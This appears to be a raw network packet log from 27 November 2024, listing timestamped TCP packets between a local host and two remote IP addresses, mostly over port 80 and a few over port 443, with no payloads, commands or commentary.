Nov 27, 2024 16:34:49.727421999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.728106022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.728208065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.728230953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.728410959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.729005098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.729466915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.729522943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.729588032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.729958057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.729970932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.730032921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.731057882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.731080055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.731136084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.731136084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.731698990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.731762886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.731829882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.732573032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.732626915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.732688904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.733020067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.733072996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.733516932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.733680964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.734464884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.734544039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.734724045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.734942913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.735416889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.735582113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.735656977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.735994101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.736238003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.736294031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.736459017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.737205029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.737216949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.737266064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.737320900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.737320900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.738013983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.738114119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.738195896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.738270044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.738944054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.739121914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.739187956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.739852905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.740153074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.740195990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.740195990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.740768909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.740781069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.740829945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.740858078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.741698980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.741710901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.741770029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.742546082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.742700100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.742872953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.743016958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.743483067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.744118929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.744189024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.744458914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.744544029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.744566917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.745408058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.745474100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.745733023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.746145964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.746320963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.746448040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.746800900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.747077942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.747140884 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.747240067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.748017073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.748069048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.748097897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.748272896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.748882055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.748951912 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.749599934 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.749741077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.749799967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.750128031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.750152111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.750381947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.750726938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.750761032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.750801086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.794707060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.794739962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.794836998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.795192003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.795474052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.795511007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.795569897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.795569897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.796178102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.796415091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.796523094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.797086954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.797149897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.797594070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.797665119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.798022985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.798280001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.798351049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.798437119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.798930883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.799056053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.799076080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.799328089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.799799919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.800049067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.800182104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.800744057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.800844908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.800925970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.801692963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.801775932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.801973104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.802283049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.802867889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.802946091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.803045034 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.803811073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.804438114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.804549932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.804790974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.804929018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.804944992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.805083036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.805696011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.805807114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.805831909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.806087971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.806504011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.812664032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.998974085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.999124050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.999136925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.999151945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.999298096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.000032902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.000677109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.000735044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.000756025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.000899076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.000956059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.001164913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.001229048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.001844883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.001864910 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.001935959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.001935959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.002777100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.002789021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.002835035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.002851009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.003642082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.003808022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.003870010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.004509926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.004605055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.004671097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.004740000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.005454063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.005502939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.005532980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.005728960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.006381989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.006459951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.006501913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.006536961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.007273912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.007380009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.007452011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.008414984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.008429050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.008501053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.009028912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.009119987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.009943962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.010016918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.010018110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.010031939 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.010194063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.010890007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.011069059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.011091948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.011337042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.011779070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.011862040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.011917114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.012006998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.012691021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.012785912 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.012892008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.012998104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.013554096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.013600111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.013860941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.013914108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.014491081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.014646053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.015027046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.015110970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.015420914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.015436888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.015554905 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.016345024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.016356945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.016402006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.016557932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.017703056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.017715931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.017790079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.018105984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.018177986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.018217087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.018621922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.019022942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.019364119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.019589901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.019941092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.019953966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.019998074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.020030022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.021142006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.021279097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.021935940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.022171021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.024395943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.024410963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.024421930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.024431944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.024446011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.024477959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.024533987 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.024852037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.024902105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.025374889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.025446892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.026072025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.026145935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.026266098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.026281118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.026377916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.026485920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.026499987 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.026540995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.026555061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.028314114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.028362989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.028482914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.028573990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.029233932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.029400110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.029473066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.030107975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.030225992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.030262947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.030459881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.030785084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.030837059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.030848026 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.030952930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.031563044 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.031579018 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.031622887 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.031830072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.031842947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.031919003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.032077074 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.032087088 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.032502890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.032582045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.032965899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.033011913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.033696890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.033710003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.033931971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.034463882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.034476995 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.034653902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.035526991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.035541058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.035631895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.036223888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.036237955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.036286116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.037132978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.037147999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.037241936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.037941933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.038009882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.038093090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.038310051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.038500071 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.038821936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.038875103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.039170027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.039236069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.039530993 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.039550066 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.039686918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.039849997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.039875031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.040121078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.040327072 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.040330887 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.040678024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.040738106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.040858984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.040966988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.041505098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.041651964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.041683912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.041723013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.042834997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.042849064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.042920113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.043652058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.043713093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.043838024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.043901920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.044681072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.044737101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.045195103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.045325041 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.045691013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.045783043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.045852900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.045923948 CET	49777	80	192.168.2.7	185.215.113.206
